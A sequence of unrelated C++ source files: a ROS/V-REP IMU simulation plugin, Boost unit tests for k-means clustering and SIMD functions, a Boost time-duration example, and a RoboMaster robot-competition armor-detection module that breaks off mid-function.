#include <vrep_plugin/imu.h>
#include <std_msgs/Header.h>
#include <Eigen/LU>
#include <Eigen/Geometry>

using namespace vrep_plugin;

using std::to_string;
using std::pair;
using std::get;
using Eigen::Matrix;

IMU::IMU(Interface *sim_interface, uint8_t id) :
  sensor_name("imu_sensor"),
  link_name("imu_mass")
{
  this->sim = sim_interface;
  this->sensor_handle = -1;
  this->link_handle = -1;

  this->nh = new ros::NodeHandle("/vrep");
  publisher = new ros::Publisher;
  (*publisher) = nh->advertise<vrep_msgs::IMU>("imu", 10, true);

  imu.header.seq = 0;
  imu.header.frame_id = "";
  imu.id = id;
  imu.angular_velocity.x = 0.0;
  imu.angular_velocity.y = 0.0;
  imu.angular_velocity.z = 0.0;
  imu.linear_acceleration.x = 0.0;
  imu.linear_acceleration.y = 0.0;
  imu.linear_acceleration.z = 0.0;

  initial_pass = true;
}

void IMU::initialize()
{
  sensor_handle = sim->getObjectHandle(sensor_name);
  link_handle = sim->getObjectHandle(link_name);
  mass = sim->getMass(link_handle);
  sim->info("[initialize]: Found an id of " + to_string(sensor_handle) + " for \"" + sensor_name + "\"");
  sim->info("[initialize]: Found an id of " + to_string(link_handle) + " for \"" + link_name + "\"");
  sim->info("[initialize]: IMU has a mass of " + to_string(mass) + "kg");
}

void IMU::updateState()
{
  pair<tuple3d, tuple3d> force_torque = sim->readForceSensor(sensor_handle);
  tuple3d force = get<0>(force_torque);
  Matrix<double, 4, 4> matrix = sim->getObjectMatrix(link_handle);
  ros::Time time = sim->getSimulationTime();
  double dt = (time - last_time).toSec();

  if (initial_pass || dt <= 1e-10)
  {
    initial_pass = false;
    imu.angular_velocity.x = 0.0;
    imu.angular_velocity.y = 0.0;
    imu.angular_velocity.z = 0.0;
  }
  else
  {
    Matrix<double, 4, 4> m = last_matrix.inverse() * matrix;
    Matrix<double, 3, 3> m3 = m.block<3,3>(0,0);
    Eigen::Vector3d angular_difference = m3.eulerAngles(0, 1, 2);
    // TODO find better way of checking for wrap around
    //std::cout << std::endl << "Angles1: " << angular_difference(0) << " " << angular_difference(1) << " " << angular_difference(2) << std::endl;
    for (int i = 0; i < 3; i++)
    {
      if (angular_difference(i) > M_PI / 2.0)
      {
        angular_difference(i) = angular_difference(i) - M_PI;
      }
      else if (angular_difference(i) < -M_PI / 2.0)
      {
        angular_difference(i) = angular_difference(i) + M_PI;
      }
    }
    //std::cout << "Angles2: " << angular_difference(0) << " " << angular_difference(1) << " " << angular_difference(2) << std::endl;
    imu.angular_velocity.x = angular_difference(0) / dt;
    imu.angular_velocity.y = angular_difference(1) / dt;
    imu.angular_velocity.z = angular_difference(2) / dt;
  }
  imu.header.stamp = ros::Time::now();
  imu.header.seq++;
  imu.linear_acceleration.x = -1.0 * get<0>(force) / mass;
  imu.linear_acceleration.y = -1.0 * get<1>(force) / mass;
  imu.linear_acceleration.z = get<2>(force) / mass;

  last_matrix = matrix;
  last_time = time;

  publisher->publish(imu);
}

void IMU::shutdown()
{
  publisher->shutdown();
  nh->shutdown();
  delete nh;
}

void IMU::reset()
{
  initial_pass = true;
}


/*
 * test_kmeans.cpp
 *
 *  Created on: 15 juin 2016
 *      Author: boubad
 */
#include <boost/test/unit_test.hpp>
/////////////////////////
#include <clusterize.h>
/////////////////////////////
#include "datafixture.h"
#include "global_defs.h"
////////////////////
using namespace info;
using namespace std;
///////////////////////////////////
using MyFixture =InfoDataFixture<IDTYPE, STRINGTYPE, DATATYPE>;
using SourceType = typename MyFixture::SourceType;
using MatriceDataType = typename MyFixture::MatriceDataType;
using strings_vector = typename MyFixture::strings_vector;
using pcancelflag = typename MyFixture::pcancelflag;
using PBackgrounder =typename MyFixture::PBackgrounder;
////////////////////////////////
using ints_sizet_map = std::map<IDTYPE, size_t>;
using IndivClusterType = IndivCluster<IDTYPE,STRINGTYPE>;
using SourceType = IIndivSource<IDTYPE,STRINGTYPE>;
using clusters_vector = std::vector<IndivClusterType>;
using ints_vector = std::vector<IDTYPE>;
using sizet_intsvector_map = std::map<size_t, ints_vector>;
using ClustersCollectionType = ClustersCollection<IDTYPE,STRINGTYPE>;
using cancelflag = std::atomic<bool>;
using pcancelflag = cancelflag *;
using PBackgrounder = Backgrounder *;
using ClusterizeResultType = ClusterizeResult<IDTYPE>;
using ClusterizeResultPtr = std::shared_ptr< ClusterizeResultType>;
using ClusterizeKMeansType = ClusterizeKMeans<IDTYPE,STRINGTYPE,DISTANCETYPE>;
//////////////////////////
BOOST_FIXTURE_TEST_SUITE(KMeansTestSuite,MyFixture)
BOOST_AUTO_TEST_CASE(testMortalKmeans) {
	auto infologger = [&](ClusterizeResultPtr oRes) {
		ClusterizeResultType *p = oRes.get();
		if (p != nullptr) {
			STRINGTYPE sr;
			p->to_string(sr);
			BOOST_TEST_MESSAGE(sr);
		} // p
		};
	SourceType *pProvider = this->mortal_indiv_provider();
	BOOST_CHECK(pProvider != nullptr);
	//
	pcancelflag pCancel = this->get_cancelflag();
	BOOST_CHECK(pCancel != nullptr);
	PBackgrounder pBack = this->get_backgrounder();
	BOOST_CHECK(pBack != nullptr);
	//
	ClusterizeKMeansType oMat(pCancel, pBack, infologger);
	oMat.process(pProvider, 5, 10);
} //testMortalKmeans

BOOST_AUTO_TEST_SUITE_END();


//==================================================================================================
/*!

  Copyright 2016 NumScale SAS

  Distributed under the Boost Software License, Version 1.0.
  (See accompanying file LICENSE.md or copy at http://boost.org/LICENSE_1_0.txt)
*/
//==================================================================================================
#include <boost/simd/function/scalar/eps.hpp>
#include <scalar_test.hpp>

#include <boost/simd/detail/dispatch/meta/as_integer.hpp>
#include <boost/simd/constant/mindenormal.hpp>
#include <boost/simd/constant/inf.hpp>
#include <boost/simd/constant/minf.hpp>
#include <boost/simd/constant/nan.hpp>
#include <boost/simd/constant/eps.hpp>

STF_CASE_TPL ("eps for IEEE types",  STF_IEEE_TYPES)
{
  namespace bs = boost::simd;
  using bs::eps;
  using r_t = decltype(eps(T()));

  // return type conformity test
  STF_TYPE_IS(r_t, T);

  // specific values tests
 #ifndef BOOST_SIMD_NO_INVALIDS
  STF_IEEE_EQUAL(eps(bs::Inf<T>()), bs::Nan<r_t>());
  STF_IEEE_EQUAL(eps(bs::Minf<T>()), bs::Nan<r_t>());
  STF_IEEE_EQUAL(eps(bs::Nan<T>()), bs::Nan<r_t>());
 #endif

  STF_EQUAL(eps(T{-1}), bs::Eps<r_t>());
  STF_EQUAL(eps(T{1}) , bs::Eps<r_t>());

 #if !defined(BOOST_SIMD_NO_DENORMALS)
  STF_EQUAL(eps(T{0}), bs::Mindenormal<r_t>());
 #endif
}

STF_CASE_TPL ("eps on integers",  STF_INTEGRAL_TYPES)
{
  namespace bs = boost::simd;
  using bs::eps;
  using r_t = decltype(eps(T()));

  // return type conformity test
  STF_TYPE_IS(r_t, T);

  // specific values tests
  STF_EQUAL(eps(T(-1)), T{1});
  STF_EQUAL(eps(T(0)) , T{1});
  STF_EQUAL(eps(T(-1)), T{1});
  STF_EQUAL(eps(T(42)), T{1});
}


#include <iostream>
#include <boost/date_time/posix_time/posix_time.hpp>

using namespace std;
using namespace boost::posix_time;

int main(){
    time_duration td(1,10,30,1000); // 1 hour 10 minutes 30 second 1ms(1000 microsecond)

    hours h(1);  // 1 hour
    minutes m(10);
    seconds s(30);
    millisec ms(1);

    time_duration td2 = h + m + s + ms;

    time_duration td3 = duration_from_string("1:10:30:001");

    cout << "td [simple string] : " << to_simple_string(td) << endl;
    cout << "td [to iso string  : " << to_iso_string(td) << endl;

    cout << "td2 [simple string] : " << to_simple_string(td2) << endl;
    cout << "td2 [to iso string  : " << to_iso_string(td2) << endl;

    hours h2(-11);
    if (h2.is_negative())
        cout << "h2 is a negative" << endl;
    else
        cout << "h2 is a positive" << endl;

    time_duration td4(neg_infin);

    if (td4.is_neg_infinity())
        cout << "td4 is a negative infinitity time duartion" << endl;
}


//==================================================================================================
/*!

  Copyright 2015 NumScale SAS

  Distributed under the Boost Software License, Version 1.0.
  (See accompanying file LICENSE.md or copy at http://boost.org/LICENSE_1_0.txt)
*/
//==================================================================================================
#include <boost/simd/function/scalar/bitwise_xor.hpp>
#include <simd_test.hpp>
#include <boost/dispatch/meta/as_integer.hpp>
#include <boost/simd/constant/inf.hpp>
#include <boost/simd/constant/minf.hpp>
#include <boost/simd/constant/mone.hpp>
#include <boost/simd/constant/nan.hpp>
#include <boost/simd/constant/one.hpp>
#include <boost/simd/constant/zero.hpp>

STF_CASE_TPL (" bitwise xor_real",  STF_IEEE_TYPES)
{
  namespace bs = boost::simd;
  using bs::bitwise_xor;
  using r_t = decltype(bitwise_xor(T(), T()));

  // return type conformity test
  STF_TYPE_IS(r_t, T);

  // specific values tests
#ifndef STF_NO_INVALIDS
  STF_EQUAL(bitwise_xor(bs::Inf<T>(), bs::Inf<T>()), bs::Zero<r_t>());
  STF_EQUAL(bitwise_xor(bs::Minf<T>(), bs::Minf<T>()), bs::Zero<r_t>());
  STF_IEEE_EQUAL(bitwise_xor(bs::Nan<T>(), bs::Nan<T>()), bs::Zero<r_t>());
#endif
  STF_EQUAL(bitwise_xor(bs::One<T>(),bs::Zero<T>()), bs::One<r_t>());
  STF_EQUAL(bitwise_xor(bs::Zero<T>(), bs::Zero<T>()), bs::Zero<r_t>());
} // end of test for floating_

STF_CASE_TPL (" bitwise xor_integer",  STF_INTEGRAL_TYPES)
{
  namespace bs = boost::simd;

  using bs::bitwise_xor;
  using r_t = decltype(bitwise_xor(T(), T()));

  // return type conformity test
  STF_TYPE_IS(r_t, T);

  // specific values tests
  STF_EQUAL(bitwise_xor(bs::One<T>(), bs::One<T>()), bs::Zero<r_t>());
  STF_EQUAL(bitwise_xor(bs::One<T>(),bs::Zero<T>()), bs::One<r_t>());
  STF_EQUAL(bitwise_xor(bs::Zero<T>(), bs::Zero<T>()), bs::Zero<r_t>());
} // end of test for integer_

STF_CASE_TPL("bitwise xor_mix", STF_IEEE_TYPES)
{
  namespace bs = boost::simd;
  namespace bd = boost::dispatch;
  using bs::bitwise_xor;
  using siT = bd::as_integer_t<T>;
  using uiT = bd::as_integer_t<T, unsigned>;

  // return type conformity test
  STF_EXPR_IS(bitwise_xor(T(),uiT()), T);
  STF_EXPR_IS(bitwise_xor(T(),siT()), T);
  STF_EXPR_IS(bitwise_xor(uiT(), T()), uiT);
  STF_EXPR_IS(bitwise_xor(siT(), T()), siT);

  // specific values tests
  STF_EQUAL(bitwise_xor(bs::Nan<T>(),bs::Valmax<uiT>()), bs::Zero<T>());
  STF_EQUAL(bitwise_xor(bs::Nan<T>(), bs::Mone<siT>()), bs::Zero<T>());
  STF_EQUAL(bitwise_xor(bs::Mone<siT>(),bs::Zero<T>()), bs::Mone<siT>());
  STF_EQUAL(bitwise_xor(bs::Valmax<uiT>(), bs::Zero<T>()), bs::Valmax<uiT>());
}


/****************************************************************************
 *  Copyright (C) 2019 RoboMaster.
 *
 *  This program is free software: you can redistribute it and/or modify
 *  it under the terms of the GNU General Public License as published by
 *  the Free Software Foundation, either version 3 of the License, or
 *  (at your option) any later version.
 *
 *  This program is distributed in the hope that it will be useful,
 *  but WITHOUT ANY WARRANTY; without even the implied warranty of
 *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *  GNU General Public License for more details.
 *
 *  You should have received a copy of the GNU General Public License
 *  along with this program. If not, see <http://www.gnu.org/licenses/>.
 ***************************************************************************/
#include <Eigen/Core>
#include <opencv2/core/eigen.hpp>

#include "constraint_set.h"

#include "timer/timer.h"
#include "io/io.h"

namespace roborts_detection {

// 方便输出一些调试信息
#define LINE(str) // std::cout << "Code Line:" << __LINE__ << "\t" << str << std::endl;
#define LINE_INFO(str,str2) //std::cout << "Code Line:" << __LINE__ << "\t" << str <<":\t"<< str2 << std::endl;

ConstraintSet::ConstraintSet(std::shared_ptr<CVToolbox> cv_toolbox):
    ArmorDetectionBase(cv_toolbox){
  filter_x_count_ = 0;
  filter_y_count_ = 0;
  filter_z_count_ = 0;
  filter_distance_count_ = 0;
  filter_pitch_count_ = 0;
  filter_yaw_count_ = 0;
  read_index_ = -1;
  detection_time_ = 0;
  thread_running_ = false;

  LoadParam();
  error_info_ = ErrorInfo(roborts_common::OK);
}

void ConstraintSet::LoadParam() {
  //read parameters
  ConstraintSetConfig constraint_set_config_;
  std::string file_name = ros::package::getPath("roborts_detection") + \
      "/armor_detection/constraint_set/config/constraint_set.prototxt";
  bool read_state = roborts_common::ReadProtoFromTextFile(file_name, &constraint_set_config_);
  ROS_ASSERT_MSG(read_state, "Cannot open %s", file_name.c_str());

  // algorithm info
  enable_debug_           = constraint_set_config_.enable_debug();
  enemy_color_            = constraint_set_config_.enemy_color();
  using_hsv_              = constraint_set_config_.using_hsv();

	// image threshold parameters
	light_threshold_        = constraint_set_config_.threshold().light_threshold();
  blue_threshold_         = constraint_set_config_.threshold().blue_threshold();
  red_threshold_          = constraint_set_config_.threshold().red_threshold();

  // light threshold parameters
  light_min_area_         = constraint_set_config_.threshold().light_min_area();
	light_max_area_         = constraint_set_config_.threshold().light_max_area();
	light_min_angle_        = constraint_set_config_.threshold().light_min_angle();
  light_max_angle_        = constraint_set_config_.threshold().light_max_angle();
	light_min_angle_diff_   = constraint_set_config_.threshold().light_min_angle_diff();
	light_max_angle_diff_   = constraint_set_config_.threshold().light_max_angle_diff();
	light_min_aspect_ratio_ = constraint_set_config_.threshold().light_min_aspect_ratio();
	light_max_aspect_ratio_ = constraint_set_config_.threshold().light_max_aspect_ratio();

	// armor threshold parameters
	light_max_width_diff_   = constraint_set_config_.threshold().light_max_width_diff();
	light_max_height_diff_  = constraint_set_config_.threshold().light_max_height_diff();
  armor_min_area_         = constraint_set_config_.threshold().armor_min_area();
	armor_max_area_         = constraint_set_config_.threshold().armor_max_area();
	armor_min_angle_        = constraint_set_config_.threshold().armor_min_angle();
  armor_max_angle_        = constraint_set_config_.threshold().armor_max_angle();
  armor_light_angle_diff_ = constraint_set_config_.threshold().armor_light_angle_diff();
	armor_min_ratio_        = constraint_set_config_.threshold().armor_min_ratio();
	armor_max_ratio_        = constraint_set_config_.threshold().armor_max_ratio();
	armor_min_aspect_ratio_ = constraint_set_config_.threshold().armor_min_aspect_ratio();
	armor_max_aspect_ratio_ = constraint_set_config_.threshold().armor_max_aspect_ratio();
	filter_armor_area_      = constraint_set_config_.threshold().filter_armor_area();

	// angle solver parameters
  float armor_width       = constraint_set_config_.armor_size().width();
  float armor_height      = constraint_set_config_.armor_size().height();
	SolveArmorCoordinate(armor_width, armor_height);

  int get_intrinsic_state = -1;
  int get_distortion_state = -1;

  while ((get_intrinsic_state < 0) || (get_distortion_state < 0)) {
    ROS_WARN("Wait for camera driver launch %d", get_intrinsic_state);
    usleep(50000);
    ros::spinOnce();
    get_intrinsic_state = cv_toolbox_->GetCameraMatrix(intrinsic_matrix_);
    get_distortion_state = cv_toolbox_->GetCameraDistortion(distortion_coeffs_);
  }
}

ErrorInfo ConstraintSet::DetectArmor(bool &detected, std::vector<cv::Point3f> &targets_3d)
{
  std::vector<cv::RotatedRect> lights;
  std::vector<ArmorInfo> armors;

  auto img_begin = std::chrono::high_resolution_clock::now();
  bool sleep_by_diff_flag = true;
  while (true) {
    // Ensure exit this thread while call Ctrl-C
    if (!thread_running_) {
      ErrorInfo error_info(ErrorCode::STOP_DETECTION);
      return error_info;
    }
    read_index_ = cv_toolbox_->NextImage(src_img_);
    if (read_index_ < 0) {
      // Reducing lock and unlock when accessing function 'NextImage'
      if (detection_time_ == 0) {
        usleep(20000);
        continue;
      } else {
        double capture_time = 0;
        cv_toolbox_->GetCaptureTime(capture_time);
        if (capture_time == 0) {
          // Make sure the driver is launched and the image callback is called
          usleep(20000);
          continue;
        } else if (capture_time > detection_time_ && sleep_by_diff_flag) {
//          ROS_WARN("time sleep %lf", (capture_time - detection_time_));
          usleep((unsigned int)(capture_time - detection_time_));
          sleep_by_diff_flag = false;
          continue;
        } else {
          //For real time request when image call back called, the function 'NextImage' should be called.
          usleep(500);
          continue;
        }
      }
    } else {
      break;
    }
  }
  /*ROS_WARN("time get image: %lf", std::chrono::duration<double, std::ratio<1, 1000>>
      (std::chrono::high_resolution_clock::now() - img_begin).count());*/

  auto detection_begin = std::chrono::high_resolution_clock::now();

    cv::cvtColor(src_img_, gray_img_, CV_BGR2GRAY);
    if (enable_debug_) {
      show_lights_before_filter_ = cv::Mat::zeros(src_img_.size(), CV_8UC3);
  	  show_lights_after_filter_  = cv::Mat::zeros(src_img_.size(), CV_8UC3);
  	  show_armors_befor_filter_  = src_img_.clone();
  	  show_armors_after_filter_  = src_img_.clone();
      cv::waitKey(1);
    }

    DetectLights(src_img_, lights);
    FilterLights(lights);
    PossibleArmors(lights, armors);
    FilterArmors(armors);

		cv::Point3f target_3d;

    if(!armors.empty()) {
      detected = true;
			for (int i = 0; i != armors.size(); ++i)
			{
				cv::Point3f target_3d;
      	GetTarget3d(armors[i].rect, target_3d);
				targets_3d.push_back(target_3d);
				cv_toolbox_->DrawTarget3d(src_img_, armors[i].rect, cv::Scalar(0, 255, 0), 2, target_3d);
			}
    } else
      detected = false;

		//cv::imshow("gray_img_", gray_img_);
    cv::imshow("relust_img_", src_img_);
		cv::waitKey(1);

  lights.clear();
  armors.clear();
  cv_toolbox_->ReadComplete(read_index_);
  ROS_INFO("read complete");
  detection_time_ = std::chrono::duration<double, std::ratio<1, 1000000>>
      (std::chrono::high_resolution_clock::now() - detection_begin).count();

  return error_info_;
}

void ConstraintSet::DetectLights(const cv::Mat &src, std::vector<cv::RotatedRect> &lights)
{
	cv::Mat subtract_color_img;
	cv::Mat binary_brightness_img;
  cv::Mat binary_color_img;
  cv::Mat binary_light_img;

  if(using_hsv_) {
    binary_color_img = cv_toolbox_->DistillationColor(src, enemy_color_, using_hsv_);
    cv::threshold(gray_img_, binary_brightness_img, light_threshold_, 255, CV_THRESH_BINARY);
  }else {
    cv::Mat subtract_color_img;
	  std::vector<cv::Mat> bgr_channel;
	  cv::split(src, bgr_channel);

	  if (enemy_color_ == RED)
		  cv::subtract(bgr_channel[2], bgr_channel[1], subtract_color_img);
	  else
		  cv::subtract(bgr_channel[0], bgr_channel[1], subtract_color_img);

    cv::threshold(gray_img_, binary_brightness_img, light_threshold_, 255, CV_THRESH_BINARY);

    float thresh;
    if (enemy_color_ == RED)
      thresh = red_threshold_;
    else
      thresh = blue_threshold_;

    cv::threshold(subtract_color_img, binary_color_img, thresh, 255, CV_THRESH_BINARY);
    binary_light_img = binary_color_img & binary_brightness_img;

  }
  std::vector<std::vector<cv::Point>> contours_light;
	cv::findContours(binary_light_img, contours_light, CV_RETR_EXTERNAL, CV_CHAIN_APPROX_SIMPLE);

  std::vector<std::vector<cv::Point>> contours_brightness;
	cv::findContours(binary_brightness_img, contours_brightness, CV_RETR_EXTERNAL, CV_CHAIN_APPROX_SIMPLE);

  lights.reserve(contours_brightness.size());

  for (unsigned int i = 0; i < contours_light.size(); ++i) {
    for (unsigned int j = 0; j < contours_brightness.size(); ++j) {
      	if (cv::pointPolygonTest(contours_brightness[j], contours_light[i][0], true) >= 0.0)
        {
          cv::RotatedRect single_light = cv::minAreaRect(contours_brightness[j]);
          lights.push_back(single_light);
          if (enable_debug_)
            cv_toolbox_->DrawRotatedRect(show_lights_before_filter_, single_light, cv::Scalar(0,255,0), 1);
          break;
        }
    } // for j loop
  } // for i loop

  if (enable_debug_)
    cv::imshow("show_lights_before_filter", show_lights_before_filter_);
}

void ConstraintSet::FilterLights(std::vector<cv::RotatedRect> &lights)
{
  std::vector<cv::RotatedRect> light_rects;

#pragma omp parallel for
  for(uchar i = 0; i < lights.size(); i++ ){
  	cv_toolbox_->adjustRect(lights[i]);
  }

  for (const auto &armor_light : lights)
	{
    auto rect = std::minmax(armor_light.size.width, armor_light.size.height);
  	auto light_aspect_ratio = rect.second / rect.first;
    auto angle = armor_light.angle;

		if ( // 80 <= abs(angle) && abs(angle) <= 90   // 高速水平移动的灯条,带有拖影  // 特殊情况,无论横竖, 旧版本有这一行代码
		      light_aspect_ratio <= 2.5
		   && armor_light.size.area() > light_min_area_ // 1.0
		   && armor_light.size.area() < light_max_area_ * src_img_.size().height * src_img_.size().width) // 0.04
		{
			light_rects.push_back(armor_light); // 高速水平移动的灯条
      if (enable_debug_)
		  	cv_toolbox_->DrawRotatedRect(show_lights_after_filter_, armor_light, cv::Scalar(255,0,0), 1);
		}
     // 针对灯条细小的情况, 没有最大比例的判断, 较为理想的灯条
		else if(armor_light.size.area() >= light_min_area_ // 1.0
		   		&& armor_light.size.area() < 100000  //light_max_area_ * src_img_.size().height * src_img_.size().width // 0.04
		   		&& abs(angle) < light_max_angle_) // 与垂直的偏角17.5 , 这里是可以取消/2的,进一步细化
		{
			light_rects.push_back(armor_light); // 接近于垂直的灯条, 由于阈值不够合理, 细小的灯条
      if (enable_debug_)
			  cv_toolbox_->DrawRotatedRect(show_lights_after_filter_, armor_light, cv::Scalar(0,255,0), 1);
	  }
      // 检测最为平凡的情况
    else if (//light_aspect_ratio < _para.light_max_aspect_ratio  // 6.8
              armor_light.size.area() >= light_min_area_ // 1.0
			     && armor_light.size.area() < light_max_area_ * src_img_.size().height * src_img_.size().width // 0.04
			     && abs(angle) < light_max_angle_) // 与垂直的偏角35
    {
      light_rects.push_back(armor_light);
      if (enable_debug_)
			  cv_toolbox_->DrawRotatedRect(show_lights_after_filter_, armor_light, cv::Scalar(0,0,255), 1);
		}
  }
  if (enable_debug_)
		cv::imshow("lights_after_filter", show_lights_after_filter_);

  lights = light_rects;
}

void ConstraintSet::PossibleArmors(const std::vector<cv::RotatedRect> &lights, std::vector<ArmorInfo> &armor_vector) {
    for (int i = 0; i < lights.size(); ++i) {
    for (int j = i; j < lights.size(); ++j) {
			auto rect1 = std::minmax(lights[i].size.width, lights[i].size.height);
    	auto light_aspect_ratio1 = rect1.second / rect1.first;
			auto rect2 = std::minmax(lights[j].size.width, lights[j].size.height);
    	auto light_aspect_ratio2 = rect2.second / rect2.first;

			auto angle_diff  = abs(lights[i].angle - lights[j].angle);
			auto height_diff = abs(lights[i].size.height - lights[j].size.height) / std::max(lights[i].size.height, lights[j].size.height);
			auto width_diff  = abs(lights[i].size.width - lights[j].size.width) / std::max(lights[i].size.width, lights[j].size.width);

// 快速平移的情况 Fast Move
	// 2个严格平行
			if (1 < light_aspect_ratio1 && light_aspect_ratio1 <= 2.5
			    && 1 < light_aspect_ratio2 && light_aspect_ratio2 <= 2.5
			    && abs(lights[i].angle) == 90 && abs(lights[j].angle) == 90     // 角度为0
			    && static_cast<int>(abs(angle_diff)) % 180 == 0
			    && height_diff < 0.5 && width_diff < 0.5)
			{
				cv::RotatedRect possible_rect;
				if (lights[i].center.x < lights[j].center.x)
					possible_rect = cv_toolbox_->boundingRRectFast(lights[i],lights[j]);
				else
					possible_rect = cv_toolbox_->boundingRRectFast(lights[j],lights[i]);

				auto armor_ratio = possible_rect.size.width / possible_rect.size.height;
				auto armor_angle = possible_rect.angle;
				auto armor_area = possible_rect.size.area();
				// auto armor_light_angle_diff = abs(armor_angle - lights[i].angle) + abs(armor_angle - lights[j].angle); // 左右灯条的积累差

				if (armor_area > armor_min_area_
					&& armor_ratio < 4.5                // 经验参数
					&& abs(armor_angle) < 20 )          // 经验参数
				{
					Armor_Twist armor_twist = FAST_MOVE;
					LINE("[快速移动] armor")
					ArmorInfo armor(possible_rect, armor_twist);
					armor_vector.push_back(armor);
				} // get_armor
			}// 2个严格平行
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
			// 2个当中有一个略不平行
			else if (1 < light_aspect_ratio1 && light_aspect_ratio1 <= 2.5
			     	 && 1 < light_aspect_ratio2 && light_aspect_ratio2 <= 2.5
			    	 && ( (abs(lights[i].angle) == 90 && abs(lights[j].angle) > 80) || (abs(lights[i].angle) > 80 && abs(lights[j].angle) == 90))
			    	 && height_diff < 0.5 && width_diff < 0.5)
			{
				cv::RotatedRect possible_rect;
				if (lights[i].center.x < lights[j].center.x)
					possible_rect = cv_toolbox_->boundingRRectFast(lights[i],lights[j]);
				else
					possible_rect = cv_toolbox_->boundingRRectFast(lights[j],lights[i]);

				auto armor_ratio = possible_rect.size.width / possible_rect.size.height;
				auto armor_angle = possible_rect.angle;
				auto armor_area = possible_rect.size.area();

				// auto armor_light_angle_diff = abs(lights[i].angle) == 90 ?
				//						 	     abs(armor_angle) + abs(armor_angle - lights[j].angle - 90); // 左右灯条的积累差

				if (armor_area > armor_min_area_
				    && armor_ratio < 4.5                // 经验参数
					&& abs(armor_angle) < 20 )          // 经验参数
				{
					Armor_Twist armor_twist = FAST_MOVE;
					LINE("[快速移动] armor")
					ArmorInfo armor(possible_rect, armor_twist);
					armor_vector.push_back(armor);
				} // get_armor
			}// 2个当中有一个略不平行
// 快速平移的情况 Fast Move

// 中速平移的情况 Mid Move
		// 2个严格平行
			else if ( ( (light_aspect_ratio1 == 1 && light_aspect_ratio2 <= 1.5)
					 || (light_aspect_ratio1 <= 1.5 && light_aspect_ratio2 == 1) )   // 其中一个为正方形
					 && static_cast<int>(abs(angle_diff)) % 90 == 0               	 // 角度差为0
					 && static_cast<int>(abs(lights[i].angle)) % 90 == 0          	 // 角度为0 或 90
					 && static_cast<int>(abs(lights[j].angle)) % 90 == 0          	 // 角度为0 或 90
					 && height_diff < 0.5 && width_diff < 0.5)               	     // 形状差异
			{
				cv::RotatedRect possible_rect;
				if (lights[i].center.x < lights[j].center.x)
					possible_rect = cv_toolbox_->boundingRRectFast(lights[i], lights[j]);
				else
					possible_rect = cv_toolbox_->boundingRRectFast(lights[j], lights[i]);

				auto armor_ratio = possible_rect.size.width / possible_rect.size.height;
				auto armor_angle = possible_rect.angle;
				auto armor_area = possible_rect.size.area();
				// auto armor_light_angle_diff = abs(armor_angle - lights[i].angle) + abs(armor_angle - lights[j].angle); // 左右灯条的积累差

				if (armor_area > armor_min_area_	    // 经验参数
					&& armor_ratio < 4                      // 经验参数 （步兵应该只有3, 英雄可能会到5）
					&& abs(armor_angle) <  20 )             // 经验参数
					{
						Armor_Twist armor_twist = MID_MOVE;
						LINE("[中等速度] armor")
						ArmorInfo armor(possible_rect, armor_twist);
						armor_vector.push_back(armor);
					} // get_armor
			}
			// 2个严格平行

			// 1个竖着 1个横着
			else if (1 < light_aspect_ratio1 && light_aspect_ratio1 < 1.3
					 && 1 < light_aspect_ratio2 && light_aspect_ratio2 < 1.3
					 && static_cast<int>(abs(angle_diff)) % 180 == 90           // 角度差为0
					 && ((abs(lights[i].angle) == 0 && abs(lights[j].angle) == 90) || (abs(lights[i].angle) == 90 && abs(lights[j].angle) == 0))  // 角度1个为0 1个为90
					 && height_diff < 0.5 && width_diff < 0.5)               	  // 形状差异
			{
				cv::RotatedRect possible_rect;
				if (lights[i].center.x < lights[j].center.x)
					possible_rect = cv_toolbox_->boundingRRectFast(lights[i], lights[j]);
				else
					possible_rect = cv_toolbox_->boundingRRectFast(lights[j], lights[i]);

				auto armor_ratio = possible_rect.size.width / possible_rect.size.height;
				auto armor_angle = possible_rect.angle;
				auto armor_area = possible_rect.size.area();
				// auto armor_light_angle_diff = abs(armor_angle - lights[i].angle) + abs(armor_angle - lights[j].angle); // 左右灯条的积累差

				if (armor_area > armor_min_area_			// 经验参数
					&& armor_ratio < 4                      // 经验参数 （步兵应该只有3, 英雄可能会到5）
					&& abs(armor_angle) <  20 )             // 经验参数
					{
						Armor_Twist armor_twist = MID_MOVE;
						LINE("[中等速度] armor")
						ArmorInfo armor(possible_rect, armor_twist);
						armor_vector.push_back(armor);
					} // get_armor
			}// 1个竖着 1个横着
// 中速平移的情况 Mid Move

// 慢速移动的情况 Low Move
		// 都是竖着的
			else if (1 < light_aspect_ratio1 && light_aspect_ratio1 < 1.5
					 && 1 < light_aspect_ratio2 && light_aspect_ratio2 < 1.5
					 && static_cast<int>(abs(angle_diff)) % 180 == 0               // 角度差为0
					 && abs(lights[i].angle) == 0 && abs(lights[j].angle) == 0     // 角度为0 或 180
					 && height_diff < 0.5 && width_diff < 0.5)                  	 // 形状差异
			{
				cv::RotatedRect possible_rect;
				if (lights[i].center.x < lights[j].center.x)
					possible_rect = cv_toolbox_->boundingRRectSlow(lights[i], lights[j]);
				else
					possible_rect = cv_toolbox_->boundingRRectSlow(lights[j], lights[i]);

				auto armor_ratio = possible_rect.size.width / possible_rect.size.height;
				auto armor_angle = possible_rect.angle;
				auto armor_area = possible_rect.size.area();
				// auto armor_light_angle_diff = abs(armor_angle - lights[i].angle) + abs(armor_angle - lights[j].angle); // 左右灯条的积累差

				if (armor_area > armor_min_area_	 // 经验参数
					&& armor_ratio < 4                   // 经验参数 （步兵应该只有3, 英雄可能会到5）
					&& abs(armor_angle) <  20 )          // 经验参数
					{
						Armor_Twist armor_twist = LOW_MOVE;
						LINE("[缓慢移动] armor")
						ArmorInfo armor(possible_rect, armor_twist);
						armor_vector.push_back(armor);
					} // get_armor
			}
		// 都是竖着的

		// 其中一块略有倾斜
			else if (1 < light_aspect_ratio1 && light_aspect_ratio1 < 1.5
					 && 1 < light_aspect_ratio2 && light_aspect_ratio2 < 1.5
					 &&	((abs(lights[i].angle) == 0  && abs(lights[j].angle) < 10) || (abs(lights[i].angle) < 10  && abs(lights[j].angle) == 0)) // 角度为0 或 180
					 && height_diff < 0.5 && width_diff < 0.5)                  	 // 形状差异
			{
				cv::RotatedRect possible_rect;
				if (lights[i].center.x < lights[j].center.x)
					possible_rect = cv_toolbox_->boundingRRectFast(lights[i], lights[j]);
				else
					possible_rect = cv_toolbox_->boundingRRectFast(lights[j], lights[i]);

				auto armor_ratio = possible_rect.size.width / possible_rect.size.height;
				auto armor_angle = possible_rect.angle;
				auto armor_area = possible_rect.size.area();
